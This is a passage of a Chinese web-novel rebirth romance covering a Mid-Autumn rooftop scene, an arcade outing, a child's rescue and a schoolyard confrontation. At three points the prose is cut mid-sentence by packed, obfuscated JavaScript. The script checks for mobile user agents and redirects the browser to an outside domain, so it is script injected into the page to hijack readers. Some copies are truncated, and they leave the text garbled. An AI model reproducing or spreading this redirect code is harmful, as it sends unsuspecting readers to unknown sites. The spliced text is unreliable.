她伸手的那一瞬间,街灯刚好亮起,周围一切都在倏忽间变得清晰可见,但他只看得见眼前正对他笑着的女孩。 自从哥哥离世后,他将自己的内心封闭起来,再没有让任何人走进来,直到—— 直到现在,封存的盒子咔咔颤动,陈旧的锁扣已无法制止盒盖打开。 丁敏和林不帆很热情,得知陈彦森父母忙没能陪他过中秋,马上拿出一副碗筷招呼他坐下:“学习一天都饿了吧,快吃饭吧。” 陈彦森很不好意思:“抱歉,打扰你们一家人过节了。” 丁敏:“多个人多双筷子的事情,况且你还给林舒补课呢,以后常来家里吃饭呀。” 也就两天,阿姨怎么知道补课的事情? 他狐疑地向林舒看去,后者朝他狡黠地眨眨眼,答案不言而喻了。 林舒夹了一个鸡腿放在陈彦森碗里,说道:“谢谢你给我补课,这个鸡腿奖励你的。” “谢谢。”在大人面前,陈彦森有点腼腆。 丁敏将另一只鸡腿夹给林舒:“见你最近这么用功读书,我也奖励你一个鸡腿。吃了鸡腿要快高长大,每天开开心心。” “谢谢妈咪。”林舒的身子向丁敏身上倒,撒娇道。 林不帆说:“吃饭不要东倒西歪的,对消化不好。” 话是这么说,自然而然的动作倒很诚实,顺手就给她挑出蟹肉放在她的碗里。 陈彦森已经数不清多少年没跟父母一起过中秋节了。 他想起小时候有哥哥在的中秋节,吃完晚饭,爸爸妈妈会带他和哥哥参加猜灯谜活动,哥哥很聪明,总能最快想到答案告诉他,他马上举手回答。最后猜中最多的获得奥特曼灯笼一个,哥哥见他很喜欢,便让给他。那个奥特曼灯笼现在还在挂在他的房间里,颜色已褪去,但昔日的快乐并没有消散。 哥哥还会教他将点燃的蜡烛斜斜放在水面之上,等待蜡熔化滴进水里,会形成一朵漂亮的“蜡花”。他马上伸手捞起,是温热的,哥哥笑着说这是一朵有温度的花朵。 哥哥就是这样的,相信花朵有温度,有生命,这样善于生活热爱生活的人一旦离开,这个家就无法回到从前了。 林舒留意到陈彦森情绪不高,凑过去低声说:“吃完饭,我带你去我的秘密基地。” 陈彦森立立眉,用眼神询问她。 林舒看了他手中的饭一眼,再看向他,示意要先把饭吃完。 “行。”陈彦森用力眨眼表示知晓。 吃过晚饭后,林舒跟爸妈打了声招呼,就拉着陈彦森出门。 “我们去哪?”陈彦森看着林舒抱着一大袋东西,伸手接过。 “去天台,”林舒蹬蹬蹬走在前面,“我的秘密基地。” 林舒家住的是旧式居民楼,总共六层楼,很快便走到顶楼。陈彦森跟在林舒身后,一步跨入天台,入眼一片漆黑,一阵风吹过,感觉四周空荡荡的。 “你这是要……”他想说“你这是要暗杀我吗”,但是后面那几个字还没说出,走在前面的林舒突然手一动,似是扯动了什么东西,紧接着整个天台都亮起来。 一串菱形灯泡沿着天幕垂吊着,此刻正迎着夜间清凉的风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031464|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晃动,光线一眨一眨,似是在跟他们打招呼。天幕下摆放着一张小桌子,桌子上有一盏复古露营灯,旁侧摆放着两张月亮椅。 林舒拿过陈彦森手里的袋子,开始往外掏东西,月饼、饮料、零食、灯笼、蜡烛、打火机、纸杯、矿泉水……堆满一整个桌子。 陈彦森跟着坐下,声音中难以掩饰惊讶:“这是你布置的?” “你可别误会哦,这是我为了哄自己开心布置的秘密基地。”林舒瞥了他一眼,“今天你有福了。” 陈彦森打量了一番,布置简单但很温馨,能看得出来布置者是花了心思的,问道:“为什么是为了哄自己开心布置的秘密基地?” “我心情不好的时候就会来这里,一个人呆一会。”林舒边说边把月饼朝着月亮的方向摆好。 “你也会心情不好吗?” 虽然认识林舒并不久,但因为一入学就得知她的成绩是班级第一,他暗暗在心里视她为竞争对手,相比其他同学更为关注她。见她开学没多久就跟班上的同学打成一片,常常能听到她开怀的笑声;军训的时候每天训练强度很高,但她不喊苦不喊累,还能帮着班长策划表演节目,个人能量值非常高,似乎永远都不会感到疲倦。再加上她跟爸妈的关系很融洽,看得出是在爱意中长大的孩子。 成绩好、人缘好、家庭关系好、个人性格好,他实在想不出她会有什么不开心的。 “会呀,我也只是一个普通人,我会累会疼会低落。” 林舒的语气很轻松,就像是在讲述“夜晚会有月亮”之类的平常事情。 “我是独生子女,小时候没人陪我玩,我都是自己跟自己玩的,所以学会了跟自己对话,一个人找乐子,也学会了如何消化不好的情绪。” “爸爸妈妈吵架,被朋友放鸽子,期待很久的同学聚会泡汤了,没考到理想的成绩,小组竞赛输了,书法比赛没有拿到名次,好朋友莫名其妙疏远我……大家有的烦恼,我也有。” “每到这些时候,”陈彦森认真地看着她,“你就会来到这里?” “是啊。”林舒抬头看着天上的月亮,“天空能让人平静,我能自己消化掉这些情绪。” 陈彦森跟着抬头看向天空,周围没有什么高楼大厦,更能看清夜空原本的颜色,月亮又圆又亮,围绕在侧的星星也毫不示弱地绽放自己的光芒,散发光彩。 他明白林舒是注意到他情绪低落,所以带他来到这里。如果他愿意诉说,她会将自己的双耳交给他,静静倾听;如果他不愿意提起,她会静静陪着他,就像现在这样。 既然各人有各人的烦恼,能自己消化掉的不良情绪那就自我消化吧,何必让他人背负多一份本不属于自己的情绪呢? 陈彦森往纸杯里倒了一点水,点燃蜡烛,等待熔化的蜡滴进水里。 “蜡花。”她看起来很惊喜,小鹿般的眼睛在灯下亮若星河。 “你也叫它蜡花?” 哥哥只是创造了它,但没有给予它名字,“蜡花”是陈彦森自己取的,突然听到对方也叫出这个名字,难免惊讶。 “你不觉得它很像一朵花吗?”林舒将它捞出来看在陈彦森掌心中,“它是热的。” 陈彦森没有接话,而是仰头望向月亮。 哥哥,这世上还有蜡花。 42. 第五世(五) 手机响起的时候,两人正乐此不疲地滴蜡花。 原本打算拿来装饮料的几个纸杯被排成一列,水中飘着几朵蜡花。 急促的铃声突兀地响着,但两人都没去理会。 还是陈彦森没忍住:“林舒,听电话。” 林舒眼皮都没抬一下:“不是我的。” 陈彦森无奈:“我手机不是这个铃声。” “啊?”林舒才反应过来现在是高一,她设置的铃声就是这么花里胡哨的,连忙翻找出手机接通:“喂?” 电话那头传来余热的声音:“林舒,你看群了吗?” 林舒:“没呢,我在外面。” 余热:“那我直接跟你说吧,明天班级聚会你来吗?” “聚会?有谁去?” “我,祁相宜,其他的还在找人。” “去哪?” “电玩城。” “行,我去。” 林舒挂了电话,陈彦森幽幽道:“听说有人明天不学习,要出去玩?” “你也一起去啊!” “不去,我要学习。” 林舒扯他衣服,“去去去,一起去。” “你像个弹簧,再蹦,天空都要被你撞出一个窟窿了。” “那你就是答应咯?” 陈彦森晃晃手机,“我已经在群里回复了。” 林舒甩开他的手,“那你装什么?” “生气了?”陈彦森凑过来,贱兮兮的,“明天哥哥带你大杀四方。” …… 出发去电玩城之前,林舒打开衣柜拿衣服。一排花花绿绿的衣服,看得她眼花缭乱,避开绿色连衣裙和红色鸭舌帽,选了一件白色衬衫裙。 来到电玩城,她眼尖,一眼看到面朝大门站着的余嘉城。 他也来了? 她皱了皱眉,趁他没看过来,一个滑步溜到一旁的柱子后面,打算偷偷溜走。 谁料她还没完全转过身来,右肩被人一把擒住,低沉的声音在耳边响起:“偷偷摸摸在干嘛?” 林舒吓了一跳,回头发现是陈彦森,没好气地推他一把,“故意压低声音吓唬谁呢?” “谁被吓到就是吓谁。”他看起来心情很不错,搭在林舒肩上的手加紧力度,“走,哥哥带你大杀四方。” 林舒挣脱不开,只好作罢,跟上他的脚步。 两人走进电玩城才发现人都到齐了。余热见他们是一起来的,甚至陈彦森的手还搭在林舒肩上,看起来很熟络。 “你们怎么回事?”她找了个机会走到林舒身边,低声问。 “什么怎么回事?”林舒不明所以,但也跟着压低声。 “你和陈彦森,有猫腻。”她似侦探上身,“我昨天都觉得奇怪,陈彦森平时并不那么合群,居然会来聚会。肯定是因为你,对不对?” “不对。”林舒轻轻弹了一下余热的脑门,“你想多了。” “不对呀,我一向都看得很准。”余热嘟囔道。 林舒只是笑笑,没接话。 走在最前面的余嘉城买好游戏币,用密封袋装好一份份派给大家。最后派到林舒手上,他借机说:“林舒,你喜欢这个娃娃吗?我给你夹一个。” 林舒避之不及,连忙拒绝:“谢谢,但我不喜欢。” 余嘉城不放弃,又说:“那你想吃糖吗?这个挖糖机里的糖看起来很不错。” 林舒依旧拒绝:“谢谢,我不吃糖。” 她边说边向前走,余嘉城看她走的方向有一排投篮机,以为她想玩这个,赶紧跟上她说道:“那我们一起投篮吧。” 林舒这一世根本不想跟余嘉城有任何交集,刚刚如果不是被陈彦森拦住强行拉进来,她现在肯定已经快回到家了。可她已经这么直截了当地拒绝了,他还是一直跟着自己,这可怎么办? 她灵机一动:“来,我们一人一台机子,我跟你PK。” 不等余嘉城回答,她迅速往两台机子投入游戏币,并迅速选中余嘉城的机子作为PK对象。等余嘉城反应过来,篮球已呼啦啦滚下来,电子屏显示PK开始。 林舒抓起滚下来的第一个篮球,右手托住篮球底部,左手搭在篮球左侧,踮起脚奋力向前一投,中了!很好,就是这个手感,她按照刚刚的姿势再来一个,也中了!她愈战愈勇,仿佛有个无形的屏障将她与外界分隔开来,她完全沉浸在自己的小小世界里,机械但热血地抓起球,踮脚托起向前抛,如此反复。不知重复了多少次动作,直到机器声响起,篮球不再滚下,她才停止动作。 刚刚整个人沉浸其中只管不停抛球没察觉到哪里不对劲,现在一停下来,才发现自己的右手臂酸软,后背出汗,真是一场酣畅淋漓的剧烈运动啊! “谁赢了?”余热凑过来,“哇!林舒!你比余嘉城还多五分欸!太强了!”接着,她又朝余嘉城说:“你也太垃圾了,不是篮球队的吗?怎么连女孩子都打不过?” 谁打得过她啊?!余嘉城无声呐喊。 刚刚比赛一开始,她就一副视死如归的样子不断投球,仿佛她输掉比赛的下一秒就会被拉出去枪/毙。他被这深深的胜负欲震撼住了,默默竖起大拇指,花了半分钟才平复好情绪加入比赛。 “怎么样?”林舒擦了擦额角的汗,喘着气问,“还来吗?” 她眼里闪着光,那是对胜利的渴望。 “我来。”陈彦森走到林舒身边,“我跟你一组。” 余热举手:“那我跟余嘉城一组吧。” 投币前,余嘉城对余热说:“你就是自己找虐。” 这时的余热还有点懵懂,不明白余嘉城的意思。 篮球滚落下来,她余光瞥见林舒以迅雷不及掩耳之势抓住第一个滚到边上的球,用不标准但很有力量感的姿势向前一抛。 在第一声“哐当”后,她眨了眨眼,看着另一个篮球从林舒身侧以完美弧线抛出,不偏不倚地从篮筐中跌落。一个球紧接另一个球,篮网不停晃动,她这才回过神来,加入比赛中。 刚刚站在外围看林舒和余嘉城比赛只觉得刺激,如今亲身入局,身临其境才知隔壁队伍井然有序、默契十足的团队合作,以及一声又一声代表胜利的“哐当”声所带来的压迫感是多么强。 此刻她终于明白余嘉城那句话的意思了。 一个玩命,一个陪她玩命,这场比赛在最开始就定了胜负。 林舒也没想到会跟陈彦森如此合拍。 两人在赢下这场PK后一拍即合,合力玩其他游戏,推冰球、赛车、水枪、飞镖、保龄球等等,电玩城内所有项目都被他们玩了至少一遍,机器不断格叽格叽往外吐票。 玩电动游戏的快感除了来自在比赛中获胜,还有看着机器吐出一大堆兑奖票。红色相间的兑奖票头尾相连,一张接着一张,连成一长串垂在地面上,是喜悦的具象化。 有时候并不是期待用这些兑奖票兑换怎样的礼物,而是单单看着地上的兑奖票越来越多,从一开始整齐地叠着到杂乱无章地堆成一座小山,心中的成就感便呈几何倍数增长。 2024年很多电玩城都没有兑奖票了,这让快乐大打折扣。 林舒捧着一堆兑奖票来到服务台,问工作人员:“您好,我这4800积分可以兑换哪些礼品?” 工作人员核对了一遍,指着倒数第二排架子说:“这一排都是可以的。” 一排都是毛绒玩偶,各式各样,颜色各异。 “你喜欢哪个?”林舒问陈彦森。 “我不要。”陈彦森说,“你选一个你喜欢的就行。” “欸,”林舒透过玻璃柜台看到手链,“这个积分1500,我可以要一条项链,再要一个3300积分的玩偶吗?” “可以。”工作人员回答。 “那我要这条项链,再要第四排第三个玩偶。” “第三个……是这个大象吗?” “对,谢谢。” 林舒接过手链顺手戴上,将大象玩偶递给陈彦森,“这个给你。” “我?”陈彦森有带嫌弃地打量了一番,“男人不要玩偶。” “别不识好歹啊,”林舒把玩偶用力塞进他的臂弯里,“给你就拿着。” 陈彦森很自然地用手臂夹住玩偶防止它掉地上,接着腾出另一只手拿下来。他举得远远的,把玩偶前后看了一遍,又看了一眼林舒戴着的项链,说道:“你很喜欢大象?” 林舒选的是垂吊着一颗浅紫色珠子的项链,珠子呈大象形态。当时她一眼相中,即使工作人员告诉她只能兑换一件礼品,她也愿意浪费掉3300积分,只为兑换它。 “大象……”她一时不知道该怎么回答,总不能说因为他上一世说要做一头非洲大象吧?那他肯定会觉得有病。 “你不觉得大象很可爱吗?”她随便找个理由搪塞过去,走快两部跟上大部队走出电玩城,才发现外面正下着雨。 “呜——”低沉的引擎声由远及近,一辆黑色的摩托从前面的路口拐进来,速度极快,仿佛将雨幕劈开两半,他自中间穿过,滴雨不沾。 “太帅了!”林舒和余热不约而同发出赞叹声。 “真的太酷了,”林舒看着摩托逐渐变成小黑点,忍不住感慨,“我以后得找个会开摩托的男朋友,没事就带我去兜兜风。” 她说这话时背对着陈彦森,自然就不知道男生的视线自始至终紧紧追随着她,更不知道这句话被他听进心里去了。 就在这时,不远处突然爆发的一声喊叫吸引所有人的注意力:“有医生吗?这里有个小孩晕倒了!” 林舒循声望去,只见行人道上有几个人围在一起,其中一个男人站在外围打电话。雨下得又大又密,几乎填满了人与人之间的缝隙,林舒勉强看到有个人躺在地上。 “有医生吗?”又有人喊道,“有个小孩晕倒了。” “我!”林舒应道,迅速跑下台阶冲进雨里,“我会急救。” 原本围成一个圆圈的人群立刻散开,地面上躺着的是一个约莫五六岁的小女孩。虽然有人半蹲着给她撑伞,但根本挡不住这大雨,她还是全身湿透了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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妈妈给了她第二次生命。 …… 到了中午,她退烧了,但人还是有些恍惚。 丁敏给她舀粥,说道:“昨晚余热和陈彦森一起送你回来,陈彦森背着你,神色很凝重,余热慌得眼睛都红了。今早陈彦森又来了一次,见你没醒就回去了。” 林舒先给余热发了消息报平安,打开与陈彦森的聊天后却迟迟不知道该说什么,说“谢谢你昨天送我回来”,好像太官方了,说“what’supbro”好像又太随意了。在她犹豫不决之际,反倒是陈彦森的消息先弹出来了:【身体好点了吗?】 她还没来得及打字,对面又弹出消息:【如果你状态还可以的话,我带你去一个地方。】 林舒回他:【我退烧了,去哪?】 陈彦森卖关子:【去了你就知道了,不会把你卖了。】 林舒有想过陈彦森有可能带她去的地方,公园、小吃店、海边,一切可以散心的地方,但万万没想到是医院。 他们来到住院部,透过玻璃可以看到病房内的模样。这是一个儿童房,里面住着四个小孩。 陈彦森指着其中一个头发上别着黄色发夹的小女孩,问:“你还记得她吗?” 林舒摇摇头,没印象。 “这是你昨天救的小孩。” 林舒一顿,这是她没料到的答案。 “她叫什么名字?” “宋心悦。” 林舒跟着重复一遍:“宋心悦。” “昨天你一直念着一个名字,是把她当成另一个人吗?” “曾经,有一个小孩在我身边死去,她让我好好活下去。她不知道,我还是会一直记着她。”她掩面,“可我当时根本没办法救她,我救不了她。” 陈彦森没有追问,只是安慰道:“你现在救下宋心悦了,你超棒的。” 她的眼泪又滑下来了,担心被孩子们看见,赶紧转过身背对病房。陈彦森靠过来,将她的额头抵在自己的肩膀上,轻轻拍着她的背,“因为你,她现在还能活蹦乱跳的。” 回去的路上林舒偷看了他几次,陈彦森用眼神询问她,她指了指他的衣服很不好意思地说:“我的鼻涕和眼泪都抹在上面了。” 陈彦森摊手,无奈道:“那怎么办,你是想帮我洗衣服吗?” “如果您不介意光着上半身回去的话。” “我怕我会被当做暴露狂抓进警察局。” 林舒扑哧一下笑出声。 看到她终于笑了,陈彦森如释重负地送了口气:“笑了就好,感觉你压力很大,思虑过重,15岁的年纪哪有这么多忧愁的,享受这个年纪该享受的吧。” 林舒想起中秋那晚的他,答道:“你也是。” 两人都没再说话,路灯将两人的影子拉得好长。她故意放慢脚步落在他身后,伸出手轻轻叠在他的影子上。 而那正是他的手。 43. 第五世(六) 国庆假期后上学的第一天,瞌睡虫满教室飞,大家都哈欠连天,只有林舒精神抖擞地挺直腰杆看书。事关这国庆假期她每天起早贪黑补落下的知识点、赶作业,睡得比在学校时还少,现在回校算是享福了。 余热用手肘撞了撞全神贯注看书的林舒,提醒道:“你是不是忘了点什么?” “什么?”林舒茫然。 “收作业啊!”余热摊手,“我的语文课代表,你放个假回来不会忘了你自己是语文课代表吧?” 哦豁,她还真忘了。 林舒起身走了两步,又折回来问余热:“谁是组长?” 余热瞪她一眼,但还是告诉她:“每个大组第一排坐右边的人。” 找到每个组长登记交作业情况后,林舒拿着作业本去办公室。办公室在哪她倒是知道,今天上学她走楼梯上来的时候看到,是在下一层楼。她还记得她高一的语文老师姓杜,因为很喜欢这个老师,所以到现在还记得他的姓氏。 办公室的每个座位前都贴着名片,林舒绕了一圈都没找到杜老师的座位,她随机抓一个老师问:“老师您好,请问高一(15)班的语文老师杜老师的办公桌在哪呀?” 老师:“杜老师?杜老师在六楼办公室呀。” 好吧,她出发前应该多嘴再问问余热的。 这么一折腾,课间十分钟就没了,林舒跑回教室的时候还喘着气。 余热小声问:“你怎么去这么久?” 她只顾着仰头喝水,摆摆手没回答。 假期回来第一节是化学课,任课老师是他们的班主任宋老师。 宋老师还是如记忆中一般,拿着戒尺在讲台上敲了敲,开始训话:“虽然我们这次月考是年级第一,但我们是重点班,拿第一是应该的。第二名跟我们差距不大,我们稍有松懈就会被追赶上。” 这听着听着怎么有点耳熟? “虽然我们华南区Q3业绩是全国第一,但收入大头都是来自几个老客户。你们看看华北区、西南区,他们的业绩增速也是很猛的,下次我们还能不能保住这个第一还说不定。” 宋老师又继续说:“不要觉得考完月考可以放松了,月考之后很快就要迎来我们的期中考,期中考过后就是我们的家长会……” 这时候林舒已经开始神游太虚了,宋老师的面孔逐渐跟黄正熙重叠。 黄总:“我们区域Q3勉强达到总部给我们下达的KPI,Q4的成绩是一年当中最重要的,我们要继续加油,为这一年画上浓墨重彩的句号!” 她算是明白了,学校和公司,班主任和总经理,这两者在某些意义上是一致的。 宋老师口若悬河讲道理讲了半节课,然后利用下半节课的时间把卷子讲完。 林舒捏着笔头轻轻敲着试卷,心想,就跟领导开那些无用的会议一样,老师讲这些话作用也不大。或许在听的时候,学生心理是受到触动、倍感感动的,但是能维持多久呢?能维持到下课吗?能维持到写卷子那一刻吗?还是能维持到体育课疯玩的时候呢?或许感动的只有老师自己吧。 这么想着,她忍不住叹了口气:上一世我做代课老师的时候,是不是也说教了不少?我自己也是从学生身份转换到老师身份的,怎么当时会觉得学生能听进去这些话呢? 不过,值得庆幸的是,经过国庆期间疯狂补课,加上林舒学习能力本来就很强,她现在已经能跟上老师的节奏了。 她适应能力也很强,就像上一世重生后能很快调整心态,适应当下的身份和状态一样,她这一世也一样。她选择听陈彦森的话,暂时放下烦恼,享受着15岁该享受的。 话虽是这么说,但她没忘记重生后的重要任务——积德。因此,在学校举办的一年一度的义卖活动报名表上,她第一个写下名字。 祁相宜是宣传委员,她看着林舒一笔一画写名字,好奇问道:“你打算卖什么啊?” 林舒:“我没想好呀,我就不能先占个位吗?” 祁相宜公事公办:“那不行呀,你得有个主题。” “你等一下啊,”林舒拉余热过来,“我想摆摊,你说卖什么好?” 余热瞪大眼睛:“我没说要摆摊啊!” 林舒:“我们不是好同桌吗?我要摆摊,这种好事哪能少得了你啊。而且啊,我们这卖的钱,是拿去做公益的,多有意义啊!” 她三言两语就余热说服,余热提议:“那我们卖书?” 林舒:“感觉这竞争很大。你喜欢什么?” 余热:“我?我喜欢EXO。” 林舒扭头问祁相宜:“你呢?” 祁相宜:“睡觉。” “……”林舒:“得了,我们又不能去卖自印小卡,表演睡觉也不能赚钱,我总不能表演做PPT吧……” 她突然一拍大腿,“我可以给大家修图,我会PS。” 对呀,回到2012年虽然很多技能都使不上,但是P图还是可以的呀!经历了两次公司减员增效,她从过去只会基础功能的小菜鸟,到后来能设计出一张还算过得去的海报了,现在修人像真是小菜一碟。 余热:“什么东西?” 林舒解释:“就是大家可以给我一张照片,我用软件给大家修好看一点,比如修瘦一点,光线调一下。” 祁相宜惊讶:“你还会这个?” 余热接话:“这就是年级第一的学习能力吗?” 林舒假装翻白眼:“得了别捧杀了,快登记一下。” 祁相宜:“我们得想个队名。” 林舒:“就叫‘您说的都对。’我们做乙方就要有乙方的态度,甲方爸爸说要怎么P就怎么P。” 余热:“那我带手提电脑。” 祁相宜:“我家有一台拍立得。我们可以再发展一项业务,不修图的同学可以拍拍立得。” 林舒:“好好好,跟着两位有钱姐妹就是好。那我们定价就是:修图3块一张,拍立得5块一张可以吗?” “同意。” 上课铃响,林舒和余热回座位。余热突然想到什么,转过头去问陈彦森 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049093|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我们义卖摆摊的时候你能不能来我们摊位呀?” 林舒听到她的问话也回过头。 陈彦森看了林舒一眼,问余热:“来你们摊位做什么?” 余热:“做什么都行,你愿意叫卖最好。如果不愿意的话,你就光站在那就行。” 陈彦森:“?” 这是什么操作? 余热:“你知道吗,现在微博树洞都在讨论高一(15)班的陈彦森,封你为校草。你没发现平时上体育课、课间操,挺多人往我们班看吗?还有课间,有些其他年级的同学有意无意就往我们班前面走过。你小子可以啊,刚进学校没两个月都当上校草了,再长大点可不得了。” 林舒:“这么夸张吗?我怎么没发现啊。” 余热嫌弃地瞥她一眼,“你那双眼睛也就长在食堂里了,还能看到什么?” “喂,你这是人身攻击了啊。”说完,林舒敲敲陈彦森的桌子,“既然你这么出名,那就来我们摊位叫卖下呗,做好人好事积德,下辈子可以去非洲做大象。” 这时英语老师走进来,余热职业病上身大喊一声“起立”,全班同学齐刷刷站起来。 林舒的身子本来还朝着陈彦森,赶紧转过身跟着余热站起来。 向老师问好准备坐下时,坐在后面的人拍了拍她的肩膀,塞给她一张纸条。林舒放在书下拆开:【我答应你。】 …… 义卖活动当天,林舒和祁相宜装扮好摊位准备开卖,看到余热架着陈彦森过来,像摆放一个吉祥物般将他“摆”在摊位前。 林舒回头看到陈彦森有点不自在的样子,忍不住偷笑。 在林舒的安排下,四人分工分明,各司其职:余热负责努力吆喝,祁相宜拍拍立得,林舒负责P图,陈彦森负责微笑迎客。 这十二年班就是没白上。虽然林舒没当上领导,没管理过人,但是在职场里待久了,有些事情就是能耳濡目染的,现在生意越做越好就是最好的证明。 鼠标发出急促的“哒哒”声,林舒看了眼队伍,手速更快了;另一头祁相宜也忙得根本停不下来。 陈彦森在一旁站着,笑得嘴角有点抽筋,看到同学们这么忙,自己就杵在这儿卖笑,说得客气点是毫无价值,说得难听点,他都自己像站.街.男。 他走到林舒身边小声问:“我能做些什么吗?” 林舒头也没抬,但语气像哄小孩似的鼓励道:“陈彦森,你要相信你是可以靠脸吃饭的,你光是站在那就很养眼,足够了。” 陈彦森:“可我觉得有点尴尬。” 林舒:“那你学一下余热,叫卖一下,让自己忙起来会没那么尴尬。” 陈彦森:“那那那,那我帮她收钱吧。” 林舒抬眼看他背影,心想,如果是27岁的陈彦森在这,他应该会从容很多。而且那时候的他在她的调教下能拍出很好看的照片,还可以帮祁相宜的忙。 这时一个突兀的男声突然响起,粗鲁地打断了她的思绪:“哟,这不是那哑巴的弟弟吗?” 44. 第五世(七) 林舒还没反应过来,就看到陈彦森脸色骤变:“你说谁哑巴?” 刚刚说话的是一个高个子男生,他一脸嚣张,轻哼一声:“明知故问。” 他旁边的小眼睛男生搭腔:“我就说这名字怎么那么耳熟,还校草,就你也配当校草?” 两个男生有意提高音量,吸引了好些同学围过来。 高个子男生面朝人群里,指着陈彦森说:“看看,你们喜欢的这个校草,他哥哥是个短命鬼,这是基因遗传,他也会……” “嘭”一声,什么东西砸中他头部,他愤怒地扭头一看,是一个粉色书包,作业本和试卷散落在四周。 “谁啊?!” 在众人愣神的目光中,林舒走上前,冷笑:“你再说一遍。” 她长相清纯乖巧,余热曾描述她是“人畜无害的长相”。此刻,就是这样一张毫无攻击力的脸上绽着冷冷的笑容,眼神却毫无笑意,似一把能将他贯穿的冰箭。 两个男生被她的气场镇住,瞬间噤声。 林舒反手搭上刚刚坐着的凳子,手一勾,拖着凳子朝他们走去。生锈的铁质凳脚与地面摩擦发出刺耳的滋滋声,这让现场气氛更凝固了。 一个身影在一旁闪出,直直挡在她面前,不让她继续往前走。 她抬起头,有不解,也有埋怨:“你拦我做什么?他骂你家人!” 陈彦森没动,对她说话时语气缓和下来:“林舒,不要动手。” “行,你们走运了。”既然当事人都这么说了,她便没有再继续的必要了,但是—— 但是,以下行为是以林舒作为当事人去做的。 “你去找老师,我就在这不走。”林舒走到他们面前,取下别在衣领的校卡,“高一(15)班林舒,不让你舒服的舒。记住我名字了吗?记住就可以滚了。” 说完,她回头对在等候的女同学微笑:“不好意思,我现在给你修图。” 她原本以为那俩骂骂咧咧的小屁孩会立刻叫上老师找她算账,没想到她都修了两张照片了,才有人来找她。 “同学你好,你是林舒吗?” 是一个陌生的声音。 林舒抬起头,呆住。 她没想到那俩家伙竟然怂到找第三个人来叫她,更没想到来找她的人是他。 楚洛西,竟然在这个时候遇见他。 16岁的楚洛西发觉自己站着说话,对方坐着听,似乎有点居高临下了,忙不迭地俯下身,继续说:“同学,我是高二8班的班长楚洛西,我们年级级长有事找你。” “好,我跟你去。”这是林舒意料之中的事情,她爽快站起身。 临走前,她对摊位上其他等候的“顾客”说:“今天是义卖,我们这虽然不修图了,但是还能拍拍立得,还是希望大家可以多多支持我们的生意,为残疾儿童的保障出一份力,我在这里先谢谢你们的善意。” …… 高二年级办公室里。 高二级长麦级长懒懒地靠在椅背上,幽幽说道:“林舒是吧?听说你动手打同学了。” 林舒点头:“对。” 她不争辩,就这么应下,这让麦级长有些意外,放下二郎腿,“你有什么要解释的?” “我是动手打人了。出口恶意中伤同学,我打的就是他!”林舒指着高个子男生,“我认为要解释的人是他,而不是我。” “不知悔改!”麦级长一拍桌子,水杯中的调羹“哐”一声响,为这场闹剧正式拉开序幕。 “遇到事情不是想着要去解决,而是直接动手打人,你说说,你身上哪有女孩子的样子?”他的嗓门很大,办公室外的人都能听见,“无论宋翊说了什么,即使冒犯了你,你动手就是不对。” 原来那个高个子男生叫宋翊,林舒抬起眼皮,漫不经心地看他一眼。 麦级长捕捉到她的动作,又说:“你看看你什么态度?老师在跟你说话,你还去瞪别人?你知错了吗?” 林舒:“我没错。” “你——”麦级长气急败坏,“等你背个大过,看你还敢不敢这么嚣张!” 办公室外早就站了不少围观群众,听到麦级长这一声怒斥,几个学生小声议论着—— “我听说这个女生只是砸了个书包啊,事情有这么严重吗?” “对啊,被书包砸到能有多疼?” “而且,听他们的意思,不是那个男生先骂人吗?” “有话好好说,有话好好说——” 伴随着急促的脚步声,两个人跑进办公室,为首的是高一级长张级长,跟在后面的是陈彦森。 陈彦森一进来就开始用眼睛四下找人,最后视线落在林舒身上,牢牢盯着她,似乎在问:你怎么样?麦级长有为难你吗? 看来是他把张级长找来的。林舒朝他笑笑,摇了摇头。 张级长一进来,首先跟麦级长打了个招呼,接着问林舒:“林舒,这是怎么回事?” 没等林舒开口,麦级长就先说话了:“你们年级的这个女同学用书包砸同学的后脑勺,接着还想用椅子砸他。” 戏台搭好了,人也齐了,她终于可以开始表演了。 刚刚可憋慌了。 “麦老师,您这样话讲一半不讲一半可不道义。我们好好的在那摆摊义卖,他不知从哪冒出来骂陈彦森是哑巴的弟弟,说他的哥哥是短命鬼,还说他也会短命。明明是宋翊师兄先出口伤人的,怎么,骂人不算伤人,要动手才算吗?他一句话骂两个人,连人家早已去世的哥哥都要被他从坟墓里拉出来鞭尸。” 林舒扭头看向她的级长:“张老师,您评评理。今天的义卖主题是帮助残疾儿童,而宋翊师兄拿他人的残疾伤痛当作笑话,嘲笑,攻击,这难道不是与义卖初衷相悖吗?” 她一口气说了一长段话,句句切中要害,气得麦级长鼻孔撑大,手指点点,“张老师,你们年级的这个女同学牙尖嘴利,连老师说话都敢打断,成绩好也不是你横行霸道的理由!” 